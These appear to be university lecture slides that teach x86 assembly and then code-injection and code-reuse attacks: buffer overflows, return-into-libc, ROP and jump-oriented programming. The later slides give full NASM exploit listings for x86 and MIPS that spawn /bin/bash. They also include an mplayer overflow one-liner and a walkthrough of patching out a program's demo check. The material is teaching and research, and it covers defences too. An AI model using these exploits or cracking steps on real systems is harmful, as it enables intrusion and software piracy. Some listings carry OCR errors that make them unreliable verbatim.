Intel x86

Tyler Bletsch
Duke University
## Basic differences

<table>
<thead>
<tr>
<th></th>
<th><strong>MIPS</strong></th>
<th><strong>Intel x86</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Design</strong></td>
<td>RISC</td>
<td>CISC</td>
</tr>
<tr>
<td><strong>ALU ops</strong></td>
<td>Register = Register $\otimes$ Register (3 operand)</td>
<td>Register $\otimes$ = &lt;Reg</td>
</tr>
<tr>
<td><strong>Registers</strong></td>
<td>32</td>
<td>8 (32-bit) or 16 (64-bit)</td>
</tr>
<tr>
<td><strong>Instruction size</strong></td>
<td>32-bit fixed</td>
<td>Variable: originally 8- to 48-bit, can be longer now (up to 15 <em>bytes</em>!)</td>
</tr>
<tr>
<td><strong>Branching</strong></td>
<td>Condition in register (e.g. “slt“)</td>
<td>Condition codes set implicitly</td>
</tr>
<tr>
<td><strong>Endian</strong></td>
<td>Either (typically big)</td>
<td>Little</td>
</tr>
<tr>
<td><strong>Variants and extensions</strong></td>
<td>Just 32- vs. 64-bit, plus some graphics extensions in the 90s</td>
<td>A bajillion (x87, IA-32, MMX, 3DNow!, SSE, SSE2, PAE, x86-64, SSE3, SSE4, SSE5, AVX, AES, FMA)</td>
</tr>
<tr>
<td><strong>Market share</strong></td>
<td>Small but persistent (embedded)</td>
<td>80% server, similar for consumer (defection to ARM for mobile is recent)</td>
</tr>
</tbody>
</table>
32-bit x86 primer

- Registers:
  - General: \texttt{eax ebx ecx edx edi esi}
  - Stack: \texttt{esp ebp}
  - Instruction pointer: \texttt{eip}

- Complex instruction set
  - Instructions are variable-sized & unaligned

- Hardware-supported call stack
  - \texttt{call / ret}
  - Parameters on the stack, return value in \texttt{eax}

- Little-endian

- We’ll use Intel-style assembly language (Destination first)
  - Other notations of x86 assembly exist and are in common use! Most notably AT&T syntax, used by GNU GCC.

\begin{verbatim}
mov    eax, 5
mov    [ebx], 6
add    eax, edi
push   eax
pop    esi
call   0x12345678
ret
jmp    0x87654321
jmp    eax
call   eax
\end{verbatim}
Intel x86 instruction format

(a) Optional instruction prefixes

(b) General instruction format

## Intel x86 registers (32-bit, simplified)

<table>
<thead>
<tr>
<th>REG Value</th>
<th>Register if data size is eight bits</th>
<th>Register if data size is 16-bits</th>
<th>Register if data size is 32 bits</th>
</tr>
</thead>
<tbody>
<tr>
<td>000</td>
<td>al</td>
<td>ax</td>
<td>eax</td>
</tr>
<tr>
<td>001</td>
<td>cl</td>
<td>cx</td>
<td>ecx</td>
</tr>
<tr>
<td>010</td>
<td>dl</td>
<td>dx</td>
<td>edx</td>
</tr>
<tr>
<td>011</td>
<td>bl</td>
<td>bx</td>
<td>ebx</td>
</tr>
<tr>
<td>100</td>
<td>ah</td>
<td>sp</td>
<td>esp</td>
</tr>
<tr>
<td>101</td>
<td>ch</td>
<td>bp</td>
<td>ebp</td>
</tr>
<tr>
<td>110</td>
<td>dh</td>
<td>si</td>
<td>esi</td>
</tr>
<tr>
<td>111</td>
<td>bh</td>
<td>di</td>
<td>edi</td>
</tr>
</tbody>
</table>
Intel x86 registers
(64-bit, complexified)

- Includes general purpose registers, plus a bunch of special purpose ones (floating point, MMX, etc.)
Memory accesses

- Can be anywhere
  - No separate “load word” instruction – almost any op can load/store!

- Location can be various expressions (not just “0($1)”):
  - \([ \text{disp} + \langle \text{REG}\rangle^*n ]\]
    - ex: \([0x123 + 2*eax]\]
  - \([\langle \text{REG}\rangle + \langle \text{REG}\rangle^*n]\]
    - ex: \([ebx + 4*eax]\]
  - \([\text{disp} + \langle \text{REG}\rangle + \langle \text{REG}\rangle^*n]\]
    - ex: \([0x123 + ebx + 8*eax]\]

- You get “0($1)” by doing \([0 + eax^1]\), which you can write as \([eax]\)

- All this handled in the MOD-R/M and SIB fields of instruction

- Imagine making the control unit for these instructions 🦀
<table>
<thead>
<tr>
<th>Operation</th>
<th>MIPS code</th>
<th>Effect on MIPS</th>
<th>x86 code</th>
<th>Effect on x86</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add registers</td>
<td>add $1, $2, $3</td>
<td>$1 = $2 + $3</td>
<td>add eax, ebx</td>
<td>$1 += $2</td>
</tr>
<tr>
<td>Add immediate</td>
<td>addi $1, $2, 50</td>
<td>$1 = $2 + 50</td>
<td>add eax, 50</td>
<td>$1 += 50</td>
</tr>
<tr>
<td>Load constant</td>
<td>li $1, 50</td>
<td>$1 = 50</td>
<td>mov eax, 50</td>
<td>eax = 50</td>
</tr>
<tr>
<td>Move among regs</td>
<td>move $1, $2</td>
<td>$1 = $2</td>
<td>mov eax, ebx</td>
<td>eax = ebx</td>
</tr>
<tr>
<td>Load word</td>
<td>lw $1, 4($2)</td>
<td>$1 = *(4+$2)</td>
<td>mov eax, [4+ebx]</td>
<td>eax = *(4+ebx)</td>
</tr>
<tr>
<td>Store word</td>
<td>sw $1, 4($2)</td>
<td>*(4+$2) = $1</td>
<td>mov [4+ebx], eax</td>
<td>*(4+ebx) = eax</td>
</tr>
<tr>
<td>Shift left</td>
<td>sll $1, $2, 3</td>
<td>$1 = $2 &lt;&lt; 3</td>
<td>sal eax, 3</td>
<td>eax &lt;&lt;= 3</td>
</tr>
<tr>
<td>Bitwise AND</td>
<td>and $1, $2, $3</td>
<td>$1 = $2 &amp; $3</td>
<td>and eax, ebx</td>
<td>eax &amp;= ebx</td>
</tr>
<tr>
<td>No-op</td>
<td>nop</td>
<td></td>
<td>nop</td>
<td>-</td>
</tr>
<tr>
<td>Conditional move</td>
<td>movn $1, $2, $3</td>
<td>if ($3) { $1=$2 }</td>
<td>test ecx</td>
<td>(Set condition flags based on ecx)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>cmovnz eax, ebx</td>
<td>if (last_alu_op_is_nonzero) { eax=ebx }</td>
</tr>
<tr>
<td>Compare</td>
<td>slt $1, $2, $3</td>
<td>$1 = $2&lt;$3 ? 1 : 0</td>
<td>cmp eax, ebx</td>
<td>(Set condition flags based on eax-ebx)</td>
</tr>
<tr>
<td>Stack push</td>
<td>sw $5, 0($sp)</td>
<td>*SP = $5 SP-=4</td>
<td>push ecx</td>
<td>*SP = ecx ; SP-=4</td>
</tr>
<tr>
<td></td>
<td>addi $sp, $sp, -4</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Jump</td>
<td>j label</td>
<td>PC = label</td>
<td>jmp label</td>
<td>PC = label</td>
</tr>
<tr>
<td>Function call</td>
<td>jal label</td>
<td>$ra = PC+4 PC = label</td>
<td>call label</td>
<td>*SP = PC+len SP -= 4 PC = label</td>
</tr>
<tr>
<td>Function return</td>
<td>jr $ra</td>
<td>PC = $ra</td>
<td>ret</td>
<td>PC = *SP SP+=4</td>
</tr>
<tr>
<td>Branch if less than</td>
<td>slt $1, $2, $3</td>
<td>if ($2&lt;$3) PC=label</td>
<td>cmp eax, ebx</td>
<td>if (eax&lt;ebx) PC=label</td>
</tr>
<tr>
<td></td>
<td>bnez $1, label</td>
<td></td>
<td>jl label</td>
<td></td>
</tr>
<tr>
<td>Request syscall</td>
<td>syscall</td>
<td>Requests kernel</td>
<td>int 0x80</td>
<td>Requests kernel</td>
</tr>
<tr>
<td>Task</td>
<td>x86 instruction</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>---------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Branch if last ALU op overflowed</td>
<td>jo label</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Branch if last ALU op was even</td>
<td>jpe label</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Swap two registers</td>
<td>xchg eax, ebx</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Square root</td>
<td>fsqrt</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Prefetch into cache</td>
<td>prefetchnta 64[esi]</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Special prefix to do an instruction until the end of string (Kind of like “while(*p)”))</td>
<td>rep</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Load constant pi</td>
<td>fldpi st(0)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Push all the registers to the stack at once</td>
<td>pushad</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Decrement ecx and branch if not zero yet</td>
<td>loop label</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Add multiple numbers at once (MMX) (Single Instruction, Multiple Data (SIMD))</td>
<td>addps xmm0, xmm1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Scan a string for a null (among other things) (Vastly accelerates strlen())</td>
<td>pcmpestri</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Encrypt data using the AES algorithm</td>
<td>aesenc</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
List of all x86 instructions
Exploring a compiled x86 program

- Introducing hello.c
  - cat hello.c

- Compile to assembly language (and down to executable)
  - make
    - gcc -m32 -g -S -o hello.s hello.c
    - gcc -m32 -g -o hello hello.c

- View assembly language output
  - cat hello.s

- Disassemble binary to see compiled instructions
  - objdump -d hello

- Analyze hello using IDA Pro
CAN WE USE THIS TO CRACK COMPILED SOFTWARE???
DRAMATIC PAUSE

Please fill out the course survey
Binary modification

- Introducing supercalc
  - ./supercalc
  - ./supercalc 2 3
  - ./supercalc 2 10

- Disassemble binary
  - objdump -d supercalc

- Analyze supercalc using IDA Pro

- Find the demo check code in IDA

- Identify sections of executable
  - ./objdump -h supercalc

- Find the code we care about in the binary file via hex editor

- Flatten all the check code into NOPs

- Disassemble, analyze, and test hacked binary
Diving into code injection and reuse attacks
(not on exam)

Some slides originally by Anthony Wood, University of Virginia, for CS 851/551
(http://www.cs.virginia.edu/crab/injection.ppt)

Adapted by Tyler Bletsch, Duke University
What is a Buffer Overflow?

• Intent
  • Arbitrary code execution
    • Spawn a remote shell or infect with worm/virus
  • Denial of service

• Steps
  • Inject attack code into buffer
  • Redirect control flow to attack code
  • Execute attack code
Attack Possibilities

• Targets
  • Stack, heap, static area
  • Parameter modification (non-pointer data)
    • E.g., change parameters for existing call to `exec()`

• Injected code vs. existing code

• Absolute vs. relative address dependencies

• Related Attacks
  • Integer overflows, double-frees
  • Format-string attacks
Typical Address Space

From Dawn Song's RISE: http://research.microsoft.com/projects/SWSecInstitute/slides/Song.ppt
Examples

• (In)famous: Morris worm (1988)
  • gets() in fingerd
• Code Red (2001)
  • MS IIS .ida vulnerability
• Blaster (2003)
  • MS DCOM RPC vulnerability
• Mplayer URL heap allocation (2004)
  % mplayer http://`perl -e 'print "\"","x1024;\'`
```c
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s", name);
    printf("%s is cool.\n", name);

    return 0;
}
```
Demo – normal execution

```
tkleletsc@davros:~/jop/examples/code-injection $ ./cool
What is your name? Tyler
Tyler is cool.
tkteletsc@davros:~/jop/examples/code-injection $ 
```
Demo – exploit

```
tkbletc@davros:~$ ./cool < attack
What is your name? 

You clearly aren't cut out for C. How about I start you off on something more your speed...

--2010-09-22 11:40:00--  http://www.python.org/ftp/python/2.7/Python-2.7.tar.bz2
Connecting to www.python.org[82.94.164.162]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11735195 (11M) [application/x-bzip2]
Saving to: `Python-2.7.tar.bz2'

100%[===============================================] 11,735,195 3.52M/s in 3.8s
2010-09-22 11:40:05 (2.97 MB/s) - `Python-2.7.tar.bz2' saved [11735195/11735195]
tkbletc@davros:~$ ```
How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

```assembly
%define buffer_size 1024
%define buffer_ptr 0xbfffff2e4
%define extra 20

<<< MACHINE CODE GOES HERE >>>

; Pad out to rest of buffer size
times buffer_size-($-$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4 dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```
Attack code trickery

• Where to put strings? No data area!
• You often can't use certain bytes
  • Overflowing a string copy? No nulls!
  • Overflowing a scanf %s? No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":

  push "olks" ; 0x736b6c6f="olks"
  mov ebx, -"hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp
Preventing Buffer Overflows

• Strategies
  • Detect and remove vulnerabilities (best)
  • Prevent code injection
  • Detect code injection
  • Prevent code execution

• Stages of intervention
  • Analyzing and compiling code
  • Linking objects into executable
  • Loading executable into memory
  • Running executable
Preventing Buffer Overflows

- **Research projects**
  - Splint - Check array bounds and pointers
  - RAD – check RA against copy
  - PointGuard – encrypt pointers
  - Liang et al. – Randomize system call numbers
  - RISE – Randomize instruction set

- **Generally available techniques**
  - Stackguard – put canary before RA
  - Libsafe – replace vulnerable library functions
  - Binary diversity – change code to slow worm propagation

- **Generally deployed techniques**
  - NX bit & W^X protection
  - Address Space Layout Randomization (ASLR)
W^X and ASLR

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR: Randomize memory region locations**
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution
Negating ASLR

• ASLR is a probabilistic approach, merely increases attacker’s expected work
  • Each failed attempt results in crash; at restart, randomization is different

• Counters:
  • Information leakage
    • Program reveals a pointer? Game over.
  • Derandomization attack [1]
    • Just keep trying!
    • 32-bit ASLR defeated in 216 seconds

Question: do we need malicious **code** to have malicious **behavior**?

No.

<table>
<thead>
<tr>
<th>Code injection</th>
<th>Code reuse (!)</th>
</tr>
</thead>
<tbody>
<tr>
<td>argument 2</td>
<td>argument 2</td>
</tr>
<tr>
<td>argument 1</td>
<td>argument 1</td>
</tr>
<tr>
<td>Address of attack code</td>
<td>Address of <code>system()</code></td>
</tr>
<tr>
<td>frame pointer</td>
<td>frame pointer</td>
</tr>
<tr>
<td>locals</td>
<td>locals</td>
</tr>
<tr>
<td>Attack code (launch a shell)</td>
<td><code>&quot;/bin/sh&quot;</code></td>
</tr>
<tr>
<td>buffer</td>
<td>buffer</td>
</tr>
</tbody>
</table>

"Return-into-libc" attack
Return-into-libc

• Return-into-libc attack
  • Execute entire libc functions
  • Can chain using "esp lifters"
  • Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
  • Straight-line code only?
    • Shown to be false by us, but that's another talk...
Arbitrary behavior with W^X?

• Question: do we need malicious code to have arbitrary malicious behavior? No.

• Return-oriented programming (ROP)

• Chain together gadgets: tiny snippets of code ending in ret

• Achieves Turing completeness

• Demonstrated on x86, SPARC, ARM, z80, ...
  • Including on a deployed voting machine, which has a non-modifiable ROM
  • Recently! New remote exploit on Apple Quicktime¹

Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- **Loading constants**
  - `pop eax ; ret`
  - `0x55555555`
  - Stack pointer

- **Arithmetic**
  - `add eax, ebx ; ret`
  - Stack pointer

- **Control flow**
  - `pop esp ; ret`

- **Memory**
  - `mov ebx, [eax] ; ret`
  - `0x8070abcd`
  - Stack pointer

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- **Shellcode**
  - Zeroes part of memory
  - Sets registers
  - Does execve syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
  - ROPdefender\textsuperscript{[1]} and others: maintain a shadow stack
  - DROP\textsuperscript{[2]} and DynIMA\textsuperscript{[3]}: detect high frequency \texttt{rets}
  - Returnless\textsuperscript{[4]}: Systematically eliminate all \texttt{rets}

- So now we're totally safe forever, right?
- \textbf{No: code-reuse attacks need not be limited to the stack and \texttt{ret}!}
  - See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al.
    (covered in this deck if you’re curious)
Jump-oriented Programming
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  • ROPdefender\(^1\) and others: maintain a shadow stack
  • DROP\(^2\) and DynIMA\(^3\): detect high frequency *rets*
  • Returnless\(^4\): Systematically eliminate all *rets*

• So now we're totally safe forever, right?
• **No**: code-reuse attacks need not be limited to the stack and *ret*!
  • My research follows...
Jump-oriented programming (JOP)

- Instead of `ret`, use indirect jumps, e.g., `jmp eax`

- How to maintain control flow?
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc+4 \)
  - Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

![Frequency of control flow transfers instructions in glibc](chart.png)
Availability of indirect jumps (2)

- However: x86 instructions are *unaligned*
- We can find *unintended* code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
```

```
81 c3 2a ff 10 00
```

- Very common, since they start with 0xFF, e.g.
  -1  = 0xFFFFFFFF
  -1000000  = 0xFF0BDC0

![Graph showing unintended and intended code counts](image-url)
Finding gadgets

- Cannot use traditional disassembly,
  - Instead, as in ROP, scan & walk backwards
  - We find 31,136 potential gadgets in libc!

- Apply heuristics to find certain kinds of gadget

- Pick one that meets these requirements:
  - **Internal integrity:**
    - Gadget must not destroy its own jump target.
  - **Composability:**
    - Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

- Dispatcher heuristic:
  - The gadget must act upon its own jump target register
  - Opcode can't be useless, e.g.: inc, xchg, xor, etc.
  - Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
    - lea edx, [eax+ebx] isn't going to advance anything
    - lea edx, [edx+esi] could work

- Find a dispatcher that uses uncommon registers
  add ebp, edi
  jmp [ebp-0x39]

- Functional gadgets found with similar heuristics
Developing a practical attack

- Built on Debian Linux 5.0.4 32-bit x86
  - Relies solely on the included libc
- Availability of gadgets (31,136 total): **PLENTY**
  - **Dispatcher:** 35 candidates
  - **Load constant:** 60 pop gadgets
  - **Math/logic:** 221 add, 129 sub, 112 or, 1191 xor, etc.
  - **Memory:** 150 mov loaders, 33 mov storers (and more)
  - **Conditional branch:** 333 short adc/sbb gadgets
  - **Syscall:** multiple gadget sequences
The vulnerable program

- **Vulnerabilities**
  - String overflow
  - Other buffer overflow
  - String format bug

- **Targets**
  - Return address
  - Function pointer
  - C++ Vtable
  - Setjmp buffer
    - Used for non-local gotos
    - Sets several registers, including esp and eip
The exploit code (high level)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
  - Write null bytes into the attack buffer where needed
  - Prepare and execute an execve syscall
- Get a shell without exploiting a single ret:
The full exploit (1)

```assembly

1 start:
2 ; Constants:
3 libc: equ 0xb7e7f000 ; Base address of libc in memory
4 base: equ 0x0804a008 ; Address where this buffer is loaded
5 base_mangled: equ 0x1d4011e ; 0x0804a008 = mangled address of this buffer
6 initializer_mangled: equ 0xc43e491 ; 0xb7e81f7a = mangled address of initializer gadget
7 dispatcher: equ 0xb7fa4e9e ; Address of the dispatcher gadget
8 buffer_length: equ 0x100 ; Target program's buffer size before the jmpbuf.
9 shell: equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment
10 to_null: equ libc+0x7 ; Points to a null dword (0x00000000)

11 ; Start of the stack. Data read by initializer gadget "popa":
12 popa0_edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs
13 popa0_esi: dd 0xaaaaaaaa
14 popa0_ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
15 popa0_esp: dd 0xaaaaaaaa
16 popa0_ebx: dd base+to_dispatcher+0x3e ; Jumpback for initializer (plus 0x3e)
17 popa0_edx: dd 0xaaaaaaaa
18 popa0_ecx: dd 0xaaaaaaaa
19 popa0_eax: dd 0xaaaaaaaa
20
21 ; Data read by "popa" for the null-writer gadgets:
22 popal_edi: dd -4 ; Delta for dispatcher
23 popal_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
24 popal_ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
25 popal_esp: dd 0xaaaaaaaa
26 popal_ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
27 popal_edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
28 popal_ecx: dd 0xaaaaaaaa
29 popal_eax: dd -1 ; When we increment eax later, it becomes 0
30
31 ; Data read by "popa" to prepare for the system call:
32 popa2_edi: dd -4 ; Delta for dispatcher
33 popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
34 popa2_ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
35 popa2_esp: dd 0xaaaaaaaa
36 popa2_ebx: dd shell ; Syscall EBX = 1st execve arg (filename)
37 popa2_edx: dd 0xaaaaaaaa
38 popa2_ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
39 popa2_eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
41
```
The full exploit (2)

; End of stack, start of a general data region used in manual addressing
42 dd dispatcher ; Jumpback for "jmp [esi-0xf]"
43 times 0xB db 'X' ; Filler
data
45 esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
46 dd dispatcher ; Jumpback for "jmp [esi+0x4]"
47 times 4 db 'Z' ; Filler
data
48 new_eax: dd 0E00000Eb ; Sets syscall EAX via [esi+0xc]; EB bytes will be cleared
49
50 ; End of the data region, the dispatch table is below (in reverse order)
data
51 g0a: dd 0xb7e3419 ; sysenter
data
52 g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
data
53 g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
data
54 g07: dd libc+0x137375 ; popa ; cmc ; jmp far dword [ecx]
data
55 g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
data
56 g05: dd libc+0x14748d ; inc ebx ; fdivr st(l), st ; jmp [edx]
data
57 g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
data
58 g03: dd libc+0x14748d ; inc ebx ; fdivr st(l), st ; jmp [edx]
data
59 g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
data
60 g01: dd libc+0x14734d ; inc eax ; fdivr st(l), st ; jmp [edx]
data
61 g00: dd libc+0x1474ed ; popa ; fdivr st(l), st ; jmp [edx]
data
62
63 times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer
64
65 ; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
66 jmpbuf_esp: dd 0aaaaaaa
67 jmpbuf_esi: dd 0aaaaaaa
68 jmpbuf edi: dd 0aaaaaaa
69 jmpbuf ebp: dd 0aaaaaaa
60 jmpbuf esp: dd base_mangled ; Redirect esp to this buffer for initializer's "popa"
data
71 jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
data
72 to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
data
73 dw 0x73 ; The standard code segment; allows for jumps; ends in NULL
Discussion

• Can we automate building of JOP attacks?
  • Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?
  A: Yes

• What defense measures can be developed which counter this attack?
The MIPS architecture

- MIPS: very different from x86
  - Fixed size, aligned instructions
    - No unintended code!
  - Position-independent code via indirect jumps
  - Delay slots
    - Instruction after a jump will always be executed

- **We can deploy JOP on MIPS!**
  - Use intended indirect jumps
    - Functionality bolstered by the effects of delay slots
  - Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `jr ra`:
MIPS full exploit code (1)

```plaintext
1 ; ====== CONSTANTS ======
2 %define libc  0x2aada000 ; Base address of libc in memory.
3 %define base  0x7fff780e ; Address where this buffer is loaded.
4 %define initializer libc+0x103d0c ; Initializer gadget (see table below for machine code).
5 %define dispatcher libc+0x69fc8 ; Dispatcher gadget (see table below for machine code).
6 %define buffer_length 0x100 ; Target program’s buffer size before the function pointer.
7 %define to_null libc+0x8 ; Points to a null word (0x00000000).
8 %define gp 0x4189d0 ; Value of the gp register.

9 ; ====== GADGET MACHINE CODE ======
10 |
11 | | | | |
12 | Initializer/pre-syscall gadget | Dispatcher gadget | Syscall gadget | Gadget "g04"
13 |
14 | lw v0,44(sp) | addu v0,a0,v0 | syscall | sw a1,44(sp)
15 | lw t9,32(sp) | lw v1,0(v0) | lw t9,-27508(gp) | sw zero,24(sp)
16 | lw a0,128(sp) | nop | nop | sw zero,28(sp)
17 | lw a1,132(sp) | addu v1,v1,gp | jalr t9 | addiu a1,sp,44
18 | lw a2,136(sp) | jr v1 | li a0,60 | jalr t9
19 | sw v0,16(sp) | nop | | addiu a3,sp,24
20 | jalr t9 | |
21 | move a3,s8 |
22 |
23 ; ====== ATTACK DATA ======
24 | Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp
25 | points 24 bytes before the start of this buffer, so we start with some padding.
26 | times 32-24 db 'x'
27 | dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
28 | times 44-36 db 'x' ; sp+36 (padding)
29 | dd base + g_start ; sp+44 Sets v0 - offset
30 | times 128-48 db 'x' ; sp+48 (padding)
31 | dd -4 ; sp+128 Sets a0 - delta
32 | dd 0xaaaaaaaa ; sp+132 Sets a1
33 | dd 0xaaaaaaaa ; sp+136 Sets a2
34 | dd 0xaaaaaaaa ; sp+140 (padding, since we can only advance $sp by multiples of 8)
35 |
36 |
```
MIPS full exploit code (2)

; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
; been advanced by 112 bytes, so it points 32 bytes before this point.
38 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
39 dd 0xde8edede ; sp+36 (padding)
40 times 80-48 db 'x' ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
41 times 80-48 db 'x' ; sp+48 (padding)
42 dd -4011 ; sp+80 The syscall number for "execve", negated.
43 times 128-84 db 'x' ; sp+84 (padding)
44 dd base+shell_path ; sp+128 Sets a0
45 dd to_null ; sp+132 Sets a1
46 dd to_null ; sp+136 Sets a2

; ===== DISPATCH TABLE =====
49 ; The dispatch table is in reverse order
50 g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code)
51 g04: dd libc-gp+0x34b8c ; Gadget "g04" (see table above for machine code)
52 g03: dd libc-gp+0x7deb0 ; Gadget: jalr t9 ; negu a1,s2
53 g02: dd libc-gp+0x6636c ; Gadget: lw s2,80(sp) ; jalr t9 ; move s6,a3
54 g01: dd libc-gp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
55 g00: dd libc-gp+0x3b1ac ; Gadget: jr t9 ; addiu sp,sp,96
56 g_start: ; Start of the dispatch table, which is in reverse order.
57
58 ; ===== OVERFLOW PADDING =====
59 times buffer_length - ($-$$) db 'x' ; Pad to the end of the legal buffer
60
61 ; ===== FUNCTION POINTER OVERFLOW =====
62 dd initializer
63
64 ; ===== SHELL STRING =====
65 shell_path: db "/bin/bash"
66
67 db 0 ; End in NULL to finish the string overflow
References


